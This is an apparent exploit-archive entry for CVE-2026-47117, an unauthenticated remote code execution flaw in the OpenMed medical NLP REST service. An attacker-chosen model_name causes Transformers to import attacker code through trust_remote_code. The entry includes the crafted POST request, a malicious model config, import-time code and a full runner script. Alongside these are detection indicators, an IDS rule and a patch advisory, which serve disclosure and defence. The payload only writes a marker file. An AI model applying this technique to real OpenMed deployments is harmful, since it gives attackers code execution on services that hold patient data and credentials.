PoC Archive PoC Archive
CVE-2026-47117 category: web CVSS 9.8 (CRITICAL)
Patched

OpenMed Unauthenticated RCE via Privacy-Filter Model Loading (CVE-2026-47117)

Published: 2026-11-27 • Researcher: Sai Teja Erukude (GitHub: SaiTeja-Erukude), discoverer and reporter; coordinated disclosure through VulnCheck

Target software OpenMed (Python medical NLP library and FastAPI REST service)
Affected versions All versions before 1.5.2; the archived PoC was built and documented against 1.4.0
Status PoC (working lab demonstration of code execution through a marker file; not a weaponized shell)
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-10-11 (upstream commit 51828c7, “Updated README”); the runner and model fixture were last changed on 2026-08-15 in commit d9318fb
Author / ResearcherSai Teja Erukude (GitHub: SaiTeja-Erukude), discoverer and reporter; coordinated disclosure through VulnCheck
CVE / AdvisoryCVE-2026-47117
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD/VulnCheck: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); 9.3 CVSSv4.0; EPSS 0.01288
StatusPoC (working lab demonstration of code execution through a marker file; not a weaponized shell)
TagsRCE, Python, FastAPI, Hugging Face, Transformers, remote model loading, untrusted code, CWE-94, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemOpenMed (Python medical NLP library and FastAPI REST service)
Versions AffectedAll versions before 1.5.2; the archived PoC was built and documented against 1.4.0
Language / PlatformPython 3.10+, FastAPI/Uvicorn, PyTorch and Hugging Face Transformers; Linux and macOS
Authentication RequiredNo
Network Access RequiredYes — HTTP access to the OpenMed REST API

Summary

OpenMed before 1.5.2 accepts an unauthenticated model identifier in the PII extraction and de-identification REST endpoints and routes any name containing the privacy-filter marker into a PyTorch loader that defaults to remote code execution. The loader calls Hugging Face Transformers with remote code trust enabled, so a model repository controlled by the attacker can ship Python modules that Transformers imports and runs. An unauthenticated attacker who can reach the API can therefore execute arbitrary Python in the service process, with access to its files, environment and network. The archived proof loads a local stand-in model whose custom Transformers classes write a marker file, showing code execution without delivering a harmful payload.

Vulnerability Details

Root Cause

CWE-94, code injection through an untrusted model artifact. Two trust-boundary failures combine:

  1. User-controlled model routing. POST /pii/extract and POST /pii/deidentify pass the request-body model_name to validate_model_name() and then to the PII dispatcher. validate_model_name() explicitly allows an existing local path as well as any org/model Hub-style name, and the dispatcher’s _looks_like_privacy_filter_identifier() returns true for any normalized identifier containing the substring privacy-filter. There is no allowlist of first-party repositories. A value such as attacker/foo-privacy-filter-bar is therefore accepted and routed to the privacy-filter pipeline.
  2. Remote code trust on the model repository. PrivacyFilterTorchPipeline.__init__ in openmed/torch/privacy_filter.py defaults trust_remote_code=True and forwards it to both AutoTokenizer.from_pretrained() and AutoModelForTokenClassification.from_pretrained(). Transformers then honours the auto_map entries in config.json and tokenizer_config.json and imports the referenced Python modules. Those modules execute during loading, before any inference has to succeed.

The type check on the result is irrelevant: the attacker code runs inside the model/tokenizer import, which happens before the endpoint can inspect or reject the model output.

Attack Vector

An unauthenticated HTTP request to POST /pii/extract or POST /pii/deidentify with a JSON body whose model_name points to an attacker-controlled Hugging Face repository (or a directory readable by the service) whose name contains privacy-filter. The service downloads the repository (or reads the local path), routes it to the Torch privacy-filter loader, and imports the custom classes named in auto_map. No authentication, plugin configuration or special request header is required.

HTTP request
1
2
3
4
5
6
7
8
9
POST /pii/extract HTTP/1.1
Host: openmed.example:8000
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

Impact

Arbitrary Python code execution with the privileges of the OpenMed service process. In a typical deployment that means reading and modifying application files, stealing environment variables, API keys and model credentials, reaching internal services from the OpenMed host, and disrupting or replacing the service. Because the endpoint is unauthenticated, any client that can reach the API is a candidate attacker.

Environment / Lab Setup

Output
OS:          Ubuntu 22.04 LTS (any Linux/macOS with Python 3.10+)
Target:      OpenMed 1.4.0 REST service (FastAPI); the PoC drives it in-process
             through fastapi.testclient.TestClient
Attacker:    Unauthenticated HTTP client able to POST to /pii/extract
Tools:       Python 3.10+, pip, PyTorch, transformers, fastapi, httpx

Setup Steps

Shell script
1
2
3
4
5
6
cd pocs/web/2026-11-27_cve-2026-47117-openmed
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt

(cd foo-privacy-filter-bar && python generate_bin.py)

requirements.txt pins openmed==1.4.0, the vulnerable release used by the upstream researcher. The exploit reproduction itself needs no Internet access after installation: the malicious model is the bundled local fixture, not a public repository.

Proof of Concept

Step-by-Step Reproduction

  1. Install the vulnerable package — creates the OpenMed 1.4.0 environment.

    Shell script
    1
    2
    
    python3 -m venv .venv && . .venv/bin/activate
    pip install -r requirements.txt
  2. Regenerate the model checkpoint — the omitted binary fixture is recreated from generate_bin.py.

    Shell script
    1
    
    (cd foo-privacy-filter-bar && python generate_bin.py)
  3. Confirm the marker is absent — establishes the before state.

    Shell script
    1
    
    rm -f marker.txt
  4. Send the malicious model identifier — run_poc.py creates the real OpenMed app with create_app() and posts to /pii/extract with model_name set to the local foo-privacy-filter-bar directory. It also prints the routing decision for a Hub-style name, attacker/foo-privacy-filter-bar.

    Shell script
    1
    
    python run_poc.py
  5. Read the proof — the marker is written by the auto_map modules during from_pretrained().

    Shell script
    1
    
    cat marker.txt
  6. Optional machine-readable evidence — exits 0 only when routing, HTTP 200 and both imports succeed.

    Shell script
    1
    
    python run_poc.py --json

Exploit Code

See run_poc.py for the full runner and foo-privacy-filter-bar/ for the malicious model fixture. upstream-README.md and upstream-exploit-walkthrough.md preserve the researcher’s own description.

The model’s config.json points Transformers at attacker-controlled classes:

JSON
1
2
3
4
5
6
7
{
  "auto_map": {
    "AutoConfig": "configuration_poc.PocConfig",
    "AutoTokenizer": ["tokenization_poc.PocTokenizer", null],
    "AutoModelForTokenClassification": "modeling_poc.PocForTokenClassification"
  }
}

Those modules run at import time, before the endpoint performs inference:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import os
from pathlib import Path

def _mark_execution(source):
    marker = os.environ.get("OPENMED_POC_MARKER")
    if marker:
        Path(marker).parent.mkdir(parents=True, exist_ok=True)
        with open(marker, "a", encoding="utf-8") as handle:
            handle.write(f"{source}\n")

_mark_execution("modeling_poc imported via trust_remote_code")

The request that reaches the vulnerable loader is a single unauthenticated POST:

Python
1
2
3
4
5
6
7
8
response = client.post(
    "/pii/extract",
    json={
        "text": "John Doe called 555-1212",
        "model_name": "foo-privacy-filter-bar",
        "confidence_threshold": 0.0,
    },
)

In a real attack the value would be an attacker-controlled Hub repository such as attacker/foo-privacy-filter-bar; run_poc.py proves that this Hub-style name also passes validation and routes to the Torch privacy-filter backend.

Expected Output

Output
hub_style_route: validated=attacker/foo-privacy-filter-bar; privacy_filter=True; backend=torch; actual=attacker/foo-privacy-filter-bar
local_poc_route: validated=foo-privacy-filter-bar; privacy_filter=True; backend=torch; actual=foo-privacy-filter-bar

status_code: 200
marker_exists: True
marker_contents:
tokenization_poc imported via trust_remote_code
modeling_poc imported via trust_remote_code

With --json, the runner emits "success": true and the same routing and marker evidence. If the checkpoint is missing or incompatible, the request can fail after the import has already happened; the import-time marker remains the proof of code execution.

Detection & Indicators of Compromise

Output
POST /pii/extract or /pii/deidentify with a JSON body whose model_name contains
  "privacy-filter" but is not an approved first-party repository
model_name values with an unexpected organization prefix, or local paths such as
  ../../, /tmp/..., or unusual directory names
Requests from clients that never authenticated, or from hosts outside the
  expected API consumer inventory
Large or slow POST responses immediately after a model-loading request

Hugging Face Hub downloads for repositories never referenced in openmed config
Cache entries under ~/.cache/huggingface/hub/models--<unknown-org>--*
Transformers log lines such as "Loading custom modeling code" or
  "A new version of the following files was downloaded"
Python modules loaded from a model directory outside the approved model store
Stack traces mentioning PrivacyFilterTorchPipeline, dynamic_module_utils,
  AutoModelForTokenClassification.from_pretrained or AutoTokenizer.from_pretrained
openmed service importing a module whose path is under a model repository

Unexpected child processes of the Uvicorn/Python service
New files in /tmp, the service working directory or model cache
Outbound connections from the OpenMed host to internal services or the Internet
Changes to environment-derived secrets at request time

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible OpenMed privacy-filter model_name abuse"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/pii/"; http.request_body; content:"model_name"; content:"privacy-filter"; classtype:attempted-admin; sid:90247117; rev:1;)

Alerting on the substring alone is noisy; correlate it with an unapproved model repository or an unexpected model download.

Remediation

ActionDetail
PatchUpgrade to OpenMed 1.5.2 or later. The fix separates routing from trust, defaults trust_remote_code to False, and only allowlists explicit first-party Privacy Filter repositories for remote-code loading.
WorkaroundDo not expose the vulnerable REST API to untrusted clients; reject user-supplied model_name values at the reverse proxy; preload approved local models and disable arbitrary Hub downloads.
Config HardeningIf custom remote code is genuinely required, allowlist exact repository IDs and revisions through OPENMED_TRUSTED_REMOTE_CODE_MODELS, set local_files_only=True, and run the service with a least-privilege account and restricted egress.

References

Notes

Verdict. Genuine, non-malicious research PoC. It exercises the real OpenMed 1.4.0 dispatcher and model loader and demonstrates code execution with a harmless marker write; no shell, persistence, credential theft or C2 functionality is present. Ingested as a PoC rather than Weaponized because the payload is a benign marker and the runner uses an in-process test client with a local fixture.

License / attribution. The upstream PoC repository has no LICENSE file, so no explicit license is granted for the copied code; it is archived here with full attribution for authorized security research only. The referenced OpenMed project has its own license.

Limitations and omissions.

  • The archived pytorch_model.bin is a 1.6 KB binary checkpoint and was omitted under the archive’s no-binaries policy. foo-privacy-filter-bar/generate_bin.py recreates the equivalent file; step 2 above is required before run_poc.py can return HTTP 200.
  • The upstream 15.5 MB Openmed 1.4.0 RCE PoC.mkv screen recording was excluded as media larger than 2 MB.
  • run_poc.py uses FastAPI TestClient and a local model directory, so it demonstrates the vulnerable code path without performing an external Hub download or sending traffic over a network socket. The runner separately verifies that a Hub-style attacker name passes validation and routes to Torch.
  • The upstream README refers to poc_exploit.py; the actual runner in the repository is run_poc.py. The preserved upstream documents are otherwise unmodified.
  • The PoC was not executed while preparing this archive entry.
run_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/SaiTeja-Erukude/CVE-2026-47117-openmed-rce (see README for attribution/license)
# CVE-2026-47117 - OpenMed privacy-filter model_name trust_remote_code RCE
from __future__ import annotations

import argparse
import json
import os
from pathlib import Path

ROOT = Path(__file__).resolve().parent
POC_DIR = ROOT
MARKER = POC_DIR / "marker.txt"
LOCAL_MODEL_NAME = "foo-privacy-filter-bar"
HUB_STYLE_MODEL_NAME = "attacker/foo-privacy-filter-bar"
EXPECTED_MARKER_LINES = [
    "tokenization_poc imported via trust_remote_code",
    "modeling_poc imported via trust_remote_code",
]


def _route_summary(
    model_name: str,
    *,
    validate_model_name,
    looks_like_privacy_filter_identifier,
    select_privacy_filter_backend,
    resolve_privacy_filter_model,
) -> dict[str, str | bool]:
    validated = validate_model_name(model_name)
    backend = select_privacy_filter_backend(validated)
    return {
        "input": model_name,
        "validated": validated,
        "privacy_filter": looks_like_privacy_filter_identifier(validated),
        "backend": backend,
        "actual": resolve_privacy_filter_model(validated, backend),
    }


def _print_route(prefix: str, route: dict[str, str | bool]) -> None:
    print(
        f"{prefix}: "
        f"validated={route['validated']}; "
        f"privacy_filter={route['privacy_filter']}; "
        f"backend={route['backend']}; "
        f"actual={route['actual']}"
    )


def _print_section(title: str) -> None:
    print("\n" + "=" * 60)
    print(title)
    print("=" * 60)


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Safe PoC for OpenMed privacy-filter trust_remote_code RCE."
    )
    parser.add_argument(
        "--json",
        action="store_true",
        help="emit machine-readable evidence instead of human-readable output",
    )
    args = parser.parse_args()
    os.chdir(ROOT)
    os.environ["OPENMED_POC_MARKER"] = str(MARKER)
    MARKER.unlink(missing_ok=True)

    import openmed
    from fastapi.testclient import TestClient
    from openmed.core.backends import (
        resolve_privacy_filter_model,
        select_privacy_filter_backend,
    )
    from openmed.core.pii import _looks_like_privacy_filter_identifier
    from openmed.service.app import create_app
    from openmed.utils.validation import validate_model_name

    openmed_file = str(Path(openmed.__file__).resolve())
    openmed_version = getattr(openmed, "__version__", "unknown")

    hub_route = _route_summary(
        HUB_STYLE_MODEL_NAME,
        validate_model_name=validate_model_name,
        looks_like_privacy_filter_identifier=_looks_like_privacy_filter_identifier,
        select_privacy_filter_backend=select_privacy_filter_backend,
        resolve_privacy_filter_model=resolve_privacy_filter_model,
    )
    local_route = _route_summary(
        LOCAL_MODEL_NAME,
        validate_model_name=validate_model_name,
        looks_like_privacy_filter_identifier=_looks_like_privacy_filter_identifier,
        select_privacy_filter_backend=select_privacy_filter_backend,
        resolve_privacy_filter_model=resolve_privacy_filter_model,
    )

    request_payload = {
        "text": "John Doe called 555-1212",
        "model_name": LOCAL_MODEL_NAME,
        "confidence_threshold": 0.0,
    }

    _print_section("OpenMed PoC Runtime Details")
    print(f"working_directory: {Path.cwd()}")
    print(f"openmed_version: {openmed_version}")
    print(f"openmed_file: {openmed_file}")
    print(f"marker_path: {MARKER}")
    print(f"marker_exists_before: {MARKER.exists()}")

    _print_section("Resolved Routes")
    _print_route("hub_style_route", hub_route)
    _print_route("local_poc_route", local_route)

    _print_section("HTTP Request")
    print(json.dumps(request_payload, indent=2))

    client = TestClient(create_app(), raise_server_exceptions=False)

    response = client.post(
        "/pii/extract",
        json={
            "text": "John Doe called 555-1212",
            "model_name": LOCAL_MODEL_NAME,
            "confidence_threshold": 0.0,
        },
    )
    marker_exists = MARKER.exists()
    marker_contents = (
        MARKER.read_text(encoding="utf-8").splitlines() if marker_exists else []
    )
    remote_code_imported = [
        line for line in EXPECTED_MARKER_LINES if line in marker_contents
    ]
    success = (
        response.status_code == 200
        and hub_route["privacy_filter"] is True
        and hub_route["backend"] == "torch"
        and local_route["privacy_filter"] is True
        and local_route["backend"] == "torch"
        and len(remote_code_imported) == len(EXPECTED_MARKER_LINES)
    )
    evidence = {
        "success": success,
        "openmed_version": openmed_version,
        "openmed_file": openmed_file,
        "hub_style_route": hub_route,
        "local_poc_route": local_route,
        "status_code": response.status_code,
        "response": response.text[:500],
        "marker_path": str(MARKER),
        "marker_exists": marker_exists,
        "marker_contents": marker_contents,
        "remote_code_imported": remote_code_imported,
    }

    if args.json:
        print(json.dumps(evidence, indent=2, sort_keys=True))
    else:
        _print_section("HTTP Response")
        print(f"status_code: {response.status_code}")
        print("response_body:")
        print(response.text[:500])
        print()
        print(f"marker_exists: {marker_exists}")

        if marker_exists:
            _print_section("Marker Contents")
            print(MARKER.read_text(encoding="utf-8"))

        print()
        print("summary: this proof shows the privacy-filter model loading path can be used to import attacker-controlled code via trust_remote_code.")

    return 0 if success else 1


if __name__ == "__main__":
    raise SystemExit(main())